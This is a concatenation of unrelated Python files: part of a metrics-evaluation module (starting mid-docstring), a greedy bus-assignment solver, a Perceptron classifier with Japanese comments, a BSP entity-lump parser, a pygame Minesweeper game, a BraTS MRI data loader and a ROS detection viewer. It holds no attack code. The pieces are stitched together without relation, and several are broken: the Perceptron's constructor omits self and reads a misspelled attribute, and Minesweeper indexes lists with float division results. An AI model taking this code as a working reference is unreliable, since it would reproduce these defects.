        Set categories that are supposed to be evaluated. If sub_categories have to be considered then they need to be
        passed explicitly.

        **Example:**

            You want to evaluate sub_cat1, sub_cat2 of cat1 and sub_cat3 of cat2. Set

            .. code-block:: python

                 sub_category_names = {cat1: [sub_cat1, sub_cat2], cat2: sub_cat3}

        :param category_names: List of category names
        :param sub_category_names: Dict of categories and their sub categories that are supposed to be evaluated,
                                   e.g. {"FOO": ["bak","baz"]} will evaluate "bak" and "baz"
        """

        if category_names is not None:
            cls._cats = category_names  # type: ignore
        if sub_category_names is not None:
            cls._sub_cats = sub_category_names

    @classmethod
    def _category_sanity_checks(cls, categories: DatasetCategories) -> None:
        cats = categories.get_categories(as_dict=False, filtered=True)
        if cats:
            sub_cats = categories.get_sub_categories(cats)  # type: ignore
        else:
            sub_cats = categories.get_sub_categories()

        if cls._cats:
            for cat in cls._cats:
                assert cat in cats

        if cls._sub_cats:
            for key, val in cls._sub_cats.items():
                assert set(val) <= set(sub_cats[key])

def confusion(
    label_gt: List[int], label_predictions: List[int], masks: Optional[List[bool]] = None
) -> NDArray[np.float32]:
    """
    Calculates the accuracy matrix given the predictions and labels. Ignores masked indices. Uses
    :func:`sklearn.metrics.confusion_matrix`

    :param label_gt: List of ground truth labels
    :param label_predictions: List of predictions. Must have the same length as label_gt
    :param masks: List with masks of same length as label_gt.

    :return: numpy array
    """

    np_label_gt, np_label_predictions = np.asarray(label_gt), np.asarray(label_predictions)

    if masks is not None:
        masks = np.asarray(masks)  # type: ignore
        masks.astype(bool)  # type: ignore
        np_label_gt = np_label_gt[masks]
        np_label_predictions = np_label_predictions[masks]

    return confusion_matrix(np_label_gt, np_label_predictions)

class ConfusionMetric(AccuracyMetric):
    """
    Metric induced by :func:`confusion`
    """

    metric = confusion  # type: ignore

    @classmethod
    def print_distance(cls, results: List[JsonDict]) -> None:
        """
        print distance results
        """
        key_list = [list(k.keys())[0] for k in results]
        for key, result in zip(key_list, results):
            data = []
            header: List[Union[int, str]] = ["predictions -> \n ground truth |\n              v"]
            conf = result[key]
            for idx, row in enumerate(conf):
                row = row.tolist()
                row.insert(0, idx)
                data.append(row)
                header.append(idx)
            table = tabulate(data, headers=header, tablefmt="pipe")  # type: ignore
            print(f"Confusion matrix for {key}: \n" + colored(table, "cyan"))


from Solver import Solver
from Solution import Solution
from LocalSearch import LocalSearch

# Inherits from a parent abstract solver.
class Solver_Greedy(Solver):

    def greedyConstruction(self, config, problem):
        # get an empty solution for the problem
        solution = Solution.createEmptySolution(config, problem)

        # get services and sort them by their total required min in descending order
        services = problem.getServices()
        sortedServices = sorted(services, key=lambda service: service.getMin(), reverse=True)

        elapsedEvalTime = 0
        evaluatedCandidates = 0

        # for each service taken in sorted order
        for service in sortedServices:
            sId = service.getId()

            feasibleAssignments, service_elapsedEvalTime, service_evaluatedCandidates = solution.findFeasibleAssignments(sId)
            elapsedEvalTime += service_elapsedEvalTime
            evaluatedCandidates += service_evaluatedCandidates

            # choose assignment with minimum cost
            minCost = float('infinity')
            choosenAssignment = None

            for feasibleAssignment in feasibleAssignments:
                if (feasibleAssignment.cost < minCost):
                    minCost = feasibleAssignment.cost
                    choosenAssignment = feasibleAssignment

            if(choosenAssignment is None):
                solution.makeInfeasible()
                break

            # assign the current service to the bus and driver with min cost
            solution.assign(service.getId(), choosenAssignment.busId, choosenAssignment.driverId)

        return(solution, elapsedEvalTime, evaluatedCandidates)

    def solve(self, config, problem):
        self.startTimeMeasure()

        self.writeLogLine(float('infinity'), 0)

        solution, elapsedEvalTime, evaluatedCandidates = self.greedyConstruction(config, problem)
        self.writeLogLine(solution.getCost(), 1)

        localSearch = LocalSearch(config)
        solution = localSearch.run(solution)

        self.writeLogLine(solution.getCost(), 1)

        avg_evalTimePerCandidate = 0.0
        if (evaluatedCandidates != 0):
            avg_evalTimePerCandidate = 1000.0 * elapsedEvalTime / float(evaluatedCandidates)

        print ('')
        print ('Greedy Candidate Evaluation Performance:')
        print ('  Num. Candidates Eval.', evaluatedCandidates)
        print ('  Total Eval. Time     ', elapsedEvalTime, 's')
        print ('  Avg. Time / Candidate', avg_evalTimePerCandidate, 'ms')

        localSearch.printPerformance()

        return(solution)


import numpy as np
class Perceptron(object):
    """ パーセプトロンの分類器

    パラメータ
    ---------------
    eta : float
    n_iter : int
    random_state_seed : int

    属性
    ---------------
    w_ : array
    errors : list

    """
    def __init__(eta, n_iter, random_state_seed):
        self.eta = eta
        self.n_iter = n_iter
        random_state_seed = random_state_seed

    def fit(self, X, y):
        """ トレーニングデータに適合させる

        パラメータ
        ---------------
        X : ndarray, shape = [n_samples, n_features]
            トレーニングデータ
            n_samplesはサンプルの個数, n_featuresは特徴量の個数
        y : ndarray, shape = [n_samples]
            目的変数

        戻り値
        ---------------
        self : object

        """
        rgen = np.random.RandomState(self.random_state_state_seed)
        self.w_ = rgen.normal(loc = 0.0, scale = 0.01, size = 1 + X.shape[1])
        self.errors_ = []

        for _ in range(self.n_iter):
            errors = 0
            for xi, target in zip(X, y):
                update = self.eta * (target - self.predict(xi))
                self.w_[1:] += update * xi
                self.w_[0] += update
                errors += int(update != 0.0)
            self.errors_.append(errors)
        return self

    """ 総入力を計算 """
    def net_input(self, X):
        return np.dot(X, self.w_[1:]) + self.w_[0]

    """ 1ステップ後のクラスラベルを返す """
    def predict(self, X):
        return np.where(self.net_input(X) >= 0.0, 1, -1)


from pathlib import Path
import charset_normalizer

from .....logger import SLoggingManager
from ....utils import Buffer
from ....utils.kv_parser import ValveKeyValueParser
from ....utils.s1_keyvalues import KVParser
from .. import Lump, LumpInfo, lump_tag
from ..bsp_file import BSPFile

log_manager = SLoggingManager()

@lump_tag(0, 'LUMP_ENTITIES')
class EntityLump(Lump):
    def __init__(self, lump_info: LumpInfo):
        super().__init__(lump_info)
        self.entities = []
        self._logger = log_manager.get_logger("Entity Lump")

    def parse(self, buffer: Buffer, bsp: 'BSPFile'):
        buffer = buffer.read(-1).strip(b"\x00")
        chaset = charset_normalizer.from_bytes(buffer)
        self._logger.info(f"Detected {chaset.best().encoding!r} encoding in entity lump")
        buffer = buffer.decode(chaset.best().encoding, "ignore")
        parser = ValveKeyValueParser(buffer_and_name=(buffer, 'EntityLump'), self_recover=True, array_of_blocks=True)
        parser.parse()
        for ent in parser.tree:
            self.entities.append(ent.to_dict())
        return self

@lump_tag(24, 'LUMP_ENTITYPARTITIONS', bsp_version=29)
class EntityPartitionsLump(Lump):
    def __init__(self, lump_info: LumpInfo):
        super().__init__(lump_info)
        self.entities = []

    def parse(self, buffer: Buffer, bsp: 'BSPFile'):
        data = buffer.read_ascii_string(-1)
        entity_files = data.split(' ')[1:]
        for ent_file in entity_files:
            ent_path: Path = bsp.filepath.parent / f'{bsp.filepath.stem}_{ent_file}.ent'
            if ent_path.exists():
                with ent_path.open('r') as f:
                    magic = f.read(11).strip()
                    assert magic == 'ENTITIES01', 'Invalid ent file'
                    parser = KVParser('EntityLump', f.read(-1))
                    entity = parser.parse_value()
                    while entity is not None:
                        self.entities.append(entity)
                        entity = parser.parse_value()

        return self


import random
import GridSquare
import EventSquare
import pygame

class MineMap:

    OFFCOLOR = (210, 210, 210)
    ONCOLOR = (140, 140, 140)
    BACKGROUNDCOLOR = (0, 0, 0)
    #each box in the grid is 37 pixels across
    boxWidth = 39
    margin = 1
    leftButtonNum = 1
    rightButtonNum = 3
    debugMode = False

    """
    Creates a MineMap, a grid that stores the information in an array of GridSquares.

    Parameters
    ----------
    mapWidth : int
        The number of GridSquares that are in each row of grid
    mapHeight : int
        The number of GridSquares that are in each column of grid
    numMines : int
        The number of mines that will be dispersed throughout the grid
    topLeftX : int
        The x-value of the topleft-most coordinate in the grid when it is displayed
    topLeftY : int
        The y-value of the topleft-most coordinate in the grid when it is displayed
    boxWidth : int
        The number of pixels the sides of each GridSquare in grid is composed of
    margin : int
        The number of pixels between a GridSquare in grid and the GridSquares surrounding it
    surface : pygame.display
        The window on which the grid will be displayed as the game is played
    squaresClicked : [[int, int]]
        The list of pairs of x and y coordinates that have already been clicked
    """
    def __init__(self, mapWidth, mapHeight, numMines, surface):
        self.mapWidth = mapWidth
        self.mapHeight = mapHeight
        self.numMines = numMines
        self.surface = surface

        #Maximum number of frames that can pass between the letting up of both buttons in order to call revealSurroundings.
        self.timeThreshold = 30
        self.grid = []
        self.squaresClicked = []

         #Each time a user event happens (The left or right mouse buttons are either clicked down or let up), logs will store the location of the event and the frame in which it happened.
        #Each entry into logs will be of the following format:
        #   logs[i] = [position, buttonNumber, up(False) or down(True), frame]
        self.logs = []
        self.leftDown = False
        self.rightDown = False
        self.frozen = False

        #Topleft most coords of the game grid, in pixel values
        self.topLeftX = (self.surface.get_width() - ((MineMap.boxWidth + MineMap.margin) * self.mapWidth)) / 2
        self.topLeftY = 100

        self.resetButton = self.makeResetButton()

        self.randomizeGrid()

    def makeResetButton(self):
        width = 60
        x = (self.surface.get_width() - width) / 2
        y = 20
        offColor = MineMap.OFFCOLOR
        onColor = MineMap.ONCOLOR
        return EventSquare.EventSquare(x, y, width, offColor, onColor, False, self.surface)

    def startNewGame(self):
        self.randomizeGrid()
        self.squaresClicked = []
        self.logs = []
        self.leftDown = False
        self.rightDown = False
        self.frozen = False

    def disperseMines(self):
        totalNum = self.mapHeight * self.mapWidth
        dispersedGrid = []
        dispersedPlaces = self.randomizeIndices(totalNum)
        dispersedGrid = [[0 for i in range(self.mapWidth)] for i in range(self.mapHeight)]
        for i in range(len(dispersedPlaces)):
            x = dispersedPlaces[i] / self.mapWidth
            y = dispersedPlaces[i] % self.mapWidth
            dispersedGrid[x][y] = 9
        return dispersedGrid

    def initializeGrid(self, adjacentGrid):
        self.grid = [[0 for i in range(self.mapWidth)] for i in range(self.mapHeight)]
        for i in range(self.mapHeight):
            for j in range(self.mapWidth):
                x = self.topLeftX + j * (MineMap.boxWidth + MineMap.margin)
                y = self.topLeftY + i * (MineMap.boxWidth + MineMap.margin)
                #Change that True to False in release
                self.grid[i][j] = GridSquare.GridSquare(x, y, MineMap.boxWidth, MineMap.OFFCOLOR, MineMap.ONCOLOR, self.surface, adjacentGrid[i][j], MineMap.debugMode, False, False)

    def randomizeGrid(self):
        numSquares = self.mapWidth * self.mapHeight
        if (self.numMines >= numSquares):
            self.numMines = numSquares - 1
        mineGrid = self.disperseMines()
        adjacentGrid = getAdjacentGrid(mineGrid, 9)
        self.initializeGrid(adjacentGrid)

    def randomizeIndices(self, totalNum):
        values = [i for i in range(totalNum)]
        invalidIndices = []
        for i in self.squaresClicked:
            index = i[0] + i[1] * self.mapWidth
            invalidIndices.append(index)
        for i in sorted(invalidIndices, reverse=True):
            del values[i]
        randomIndices = random.sample(values, self.numMines)
        return randomIndices

    def drawMap(self):
        for i in range(self.mapHeight):
            for j in range(self.mapWidth):
                self.grid[i][j].drawSquare()
        self.resetButton.drawSquare()
        self.text_to_screen("Created by Michael McGuire (CS \'20)", self.resetButton.surface, (10, 10))
        #self.text_to_screen("Created using pygame", self.resetButton.surface, (10, 40))

    def text_to_screen(self, text, surface, pos):
        text = str(text)
        font = pygame.font.Font(None, 24)
        text = font.render(text, True, (0, 255, 0))
        surface.blit(text, (pos[0], pos[1]))

    def getSquareFromCoords(self, pos):
        if (pos[0] <= self.maxXCoord() and pos[0] >= self.topLeftX and pos[1] <= self.maxYCoord() and pos[1] >= self.topLeftY):
            x = (pos[0] - self.topLeftX) / (MineMap.boxWidth + MineMap.margin)
            y = (pos[1] - self.topLeftY) / (MineMap.boxWidth + MineMap.margin)
            return [x, y]
        else:
            return None

    def clearSurroundings(self, coords):
        x = coords[0]
        y = coords[1]
        for i in range(-1, 2):
            newY = y + i
            if (newY < 0 or newY >= self.mapHeight):
                continue

            for j in range(-1, 2):
                newX = x + j
                if (newX < 0 or newX >= self.mapWidth):
                    continue

                square = (self.grid)[newY][newX]
                if (square.clicked == True):
                    continue
                if (square.flagged == True and square.isMine()):
                    continue
                self.setSquareClicked([newX, newY], True)
                if (square.value == 0):
                    self.clearSurroundings([newX, newY])

    def canClearSurroundings(self, coords):
        total = 0
        x = coords[0]
        y = coords[1]
        for i in range(-1, 2):
            newY = y + i
            if (newY < 0 or newY >= self.mapHeight):
                continue

            for j in range(-1, 2):
                newX = x + j
                if (newX < 0 or newX >= self.mapWidth):
                    continue

                if self.grid[newY][newX].flagged == True:
                    total += 1

        return total == self.grid[y][x].value

    def doubleClickEvent(self, left, right):
        if (self.leftDown == self.rightDown):
            return False

        desiredButtonVal = 0
        if (self.leftDown == True):
            desiredButtonVal = right
        else:
            desiredButtonVal = left

        last = len(self.logs)-1
        i = last - 1
        while i >= 0:
            log = self.logs[i]
            lastLog = self.logs[last]
            if (log[3] - lastLog[3] > self.timeThreshold):
                return False
            if log[0] == None:
                return False
            if ((log[1] == desiredButtonVal) and (log[2] == False)):
                if (log[0] != lastLog[0]):
                    return False
                return True
            if ((log[1] != desiredButtonVal) and (log[2] == False)):
                return False
            i -= 1
        return False

    def gameOver(self):
        self.frozen = True
        self.displayMines()

    def maxXCoord(self):
        return self.topLeftX + self.mapWidth * (MineMap.boxWidth + MineMap.margin) - 1

    def maxYCoord(self):
        return self.topLeftY + self.mapHeight * (MineMap.boxWidth + MineMap.margin) - 1

    def displayMines(self):
        for i in self.grid:
            for j in i:
                if (j.value == 9 and j.flagged == False):
                    j.clicked = True
                if (j.value != 9 and j.flagged == True):
                    j.value = 10

    def setSquareClicked(self, coords, isClicked):
        if (len(self.squaresClicked) == 0):
            self.squaresClicked.append(coords)
            self.randomizeGrid()
        else:
            self.squaresClicked.append(coords)
        if ((self.grid[coords[1]][coords[0]]).isMine() == True and self.grid[coords[1]][coords[0]].flagged == False):
            self.gameOver()
        self.grid[coords[1]][coords[0]].clicked = isClicked

    def setSquareFlagged(self, coords, isFlagged):
        self.grid[coords[1]][coords[0]].flagged = isFlagged

    def setSquareHovering(self, coords, isHovering):
        self.grid[coords[1]][coords[0]].hovering = isHovering

    def __getitem__(self, key):
        return self.grid[key[1]][key[0]]

    def resetClicked(self, pos):
        b = self.resetButton
        if ((pos[0] >= b.x and pos[0] <= b.upperX) and (pos[1] >= b.y and pos[1] <= b.upperY)):
            return True
        return False

#key must be greater than 8
def getAdjacentGrid(mineGrid, key):

    height = len(mineGrid)
    width = 0
    #empty list checking
    if (height > 0):
        width = len(mineGrid[0])
    else:
        return []

    #Iterates through rows
    for i in range(height):
        #Iterates through columns
        for j in range(width):
            if (mineGrid[i][j] == key):
                continue
            #Check the surroundings of each square
            for a in range(-1, 2):
                y = i + a
                #edge checking
                if (y >= height or y < 0):
                    continue

                for b in range(-1, 2):
                    x = j + b
                    #edge checking
                    if (x >= width or x < 0):
                        continue
                    if (mineGrid[y][x] == key):
                        mineGrid[i][j] += 1
    return mineGrid


#!/usr/bin/env python
# coding: utf-8

# In[52]:

import os
import numpy as np
from matplotlib import pyplot as plt
import random

# In[53]:

def load_img(img_dir, img_list):
    images=[]
    for i, image_name in enumerate(img_list):
        if (image_name.split('.')[1] == 'npy'):

            image = np.load(img_dir+image_name)

            images.append(image)
    images = np.array(images)

    return(images)

# In[54]:

def imageLoader(img_dir, img_list, mask_dir, mask_list, batch_size):

    L = len(img_list)

    #keras needs the generator infinite, so we will use while true
    while True:

        batch_start = 0
        batch_end = batch_size

        while batch_start < L:
            limit = min(batch_end, L)

            X = load_img(img_dir, img_list[batch_start:limit])
            Y = load_img(mask_dir, mask_list[batch_start:limit])

            yield (X,Y) #a tuple with two numpy arrays with batch_size samples

            batch_start += batch_size
            batch_end += batch_size

# In[116]:

train_img_dir = "BraTS2020_TrainingData/input_data_3channels/images/"
train_mask_dir = "BraTS2020_TrainingData/input_data_3channels/masks/"
train_img_list=sorted(os.listdir(train_img_dir))
train_mask_list = sorted(os.listdir(train_mask_dir))

# In[117]:

batch_size = 2

# In[128]:

train_img_datagen = imageLoader(train_img_dir, train_img_list,
                                train_mask_dir, train_mask_list, batch_size)

# In[129]:

img, msk = train_img_datagen.__next__()
img_num = random.randint(0,img.shape[0]-1)
test_img=img[img_num]
test_mask=msk[img_num]
test_mask=np.argmax(test_mask, axis=3)

# In[131]:

n_slice=random.randint(0, test_mask.shape[2])
plt.figure(figsize=(12, 8))
plt.subplot(221)
plt.imshow(test_img[:,:,n_slice, 0], cmap='gray')
plt.title('Image flair')
plt.subplot(222)
plt.imshow(test_img[:,:,n_slice, 1], cmap='gray')
plt.title('Image t1ce')
plt.subplot(223)
plt.imshow(test_img[:,:,n_slice, 2], cmap='gray')
plt.title('Image t2')
plt.subplot(224)
plt.imshow(test_mask[:,:,n_slice])
plt.title('Mask')
plt.show()

# In[ ]:


#!/usr/bin/env python
'''
Simple image viewer and capturer:
 rosrun lab4_color im_capture.py        : subscribes to /raspicam_not/image/compressed

Complete functions as indicated

'''
import os
import time
import argparse
import rospy
import cv2
from dnn_detect import Dnn
from sensor_msgs.msg import Image
from cv_bridge import CvBridge, CvBridgeError

class im_show:

    def __init__(self, args,data):
        self.bridge = CvBridge()
        rospy.Subscriber('/cam_front/raw', Image, self.display)
        rospy.loginfo('Image capture from raspberry topic.  Press "s" to save, "q" to quit.')
        self.dnn_f = Dnn(args,data)

    def display(self, msg):
        ''' Uses OpenCV to display an image and waits 2ms
            If the user presses 's', then calls save() with the image
            If the user presses 'q', then quits
        '''
        # complete here
        try:

            img = self.bridge.imgmsg_to_cv2(msg,'bgr8')

        except CvBridgeError as e:
            print(e)
            rospy.signal_shutdown('Quitting')

        start = time.time()
        classes, scores, boxes = self.dnn_f.detect(img)
        end = time.time()

        start_drawing = time.time()
        self.dnn_f.draw(img, classes, scores, boxes)
        end_drawing = time.time()

        fps_label = "FPS: %.2f (excluding drawing time of %.2fms)" % (1 / (end - start), (end_drawing - start_drawing) * 1000)
        cv2.putText(img, fps_label, (0, 25), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2)
        cv2.imshow("detections", img)

        wait = cv2.waitKey(2)
        if wait & 0xFF == ord('q'):
            rospy.signal_shutdown('Quitting')

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Image Capture from ros topic')
    parser.add_argument('folder', type=str,    help='Folder to save images in')
    #parser.add_argument('nms', type=str,    help='--')
    parser.add_argument('threshold',   default = 0.4,  type=float,      help='data')
    args, unknown = parser.parse_known_args()  # For roslaunch compatibility
    if unknown: print('Unknown args:',unknown)

    rospy.init_node('im_capture')  # Start a ROS node
    ic = im_show( args.folder,args.threshold)
    try:
        rospy.spin()
    except KeyboardInterrupt:
        pass
    cv2.destroyAllWindows()